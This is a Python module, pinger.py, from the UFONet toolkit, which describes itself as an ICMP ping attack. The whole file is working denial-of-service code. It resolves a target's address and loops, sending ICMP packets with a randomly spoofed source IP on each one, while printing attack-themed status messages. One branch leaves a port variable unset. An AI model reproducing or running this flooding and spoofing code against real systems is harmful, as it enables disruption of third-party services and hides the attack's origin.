pinger.py 2.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. try:
  16. from scapy.all import *
  17. except:
  18. print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
  19. sys.exit(2)
  20. # UFONet ICMP (echo ping) attack (PINGER)
  21. def randIP():
  22. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  23. return ip
  24. def randInt():
  25. x = random.randint(1,65535) # TCP ports
  26. return x
  27. def pingerize(ip, sport, rounds):
  28. n=0
  29. try:
  30. for x in range (0,int(rounds)):
  31. n=n+1
  32. IP_p = IP()
  33. IP_p.src = randIP()
  34. try:
  35. IP_p.dst = ip
  36. except:
  37. print("[Error] [AI] [PINGER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  38. break
  39. try:
  40. send(IP_p/ICMP(), verbose=0)
  41. print("[Info] [AI] [PINGER] Firing 'graphene bullets' ["+str(n)+"] -> [SHOOTING!]")
  42. time.sleep(1) # sleep time required for balanced sucess
  43. except:
  44. print("[Error] [AI] [PINGER] Failed to engage with 'graphene bullets' ["+str(n)+"]")
  45. except:
  46. print("[Error] [AI] [PINGER] Failing to engage... -> Is still target online? -> [Checking!]")
  47. class PINGER(object):
  48. def attacking(self, target, rounds):
  49. print("[Info] [AI] ICMP (PINGER) is ready to fire: [" , rounds, "graphene bullets ]")
  50. if target.startswith('http://'):
  51. target = target.replace('http://','')
  52. sport = 80
  53. elif target.startswith('https://'):
  54. target = target.replace('https://','')
  55. sport = 443
  56. try:
  57. ip = socket.gethostbyname(target)
  58. except:
  59. try:
  60. import dns.resolver
  61. r = dns.resolver.Resolver()
  62. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  63. url = urlparse(target)
  64. a = r.query(url.netloc, "A") # A record
  65. for rd in a:
  66. ip = str(rd)
  67. except:
  68. ip = target
  69. if ip == "127.0.0.1" or ip == "localhost":
  70. print("[Info] [AI] [PINGER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  71. return
  72. pingerize(ip, sport, rounds) # attack with PINGER using threading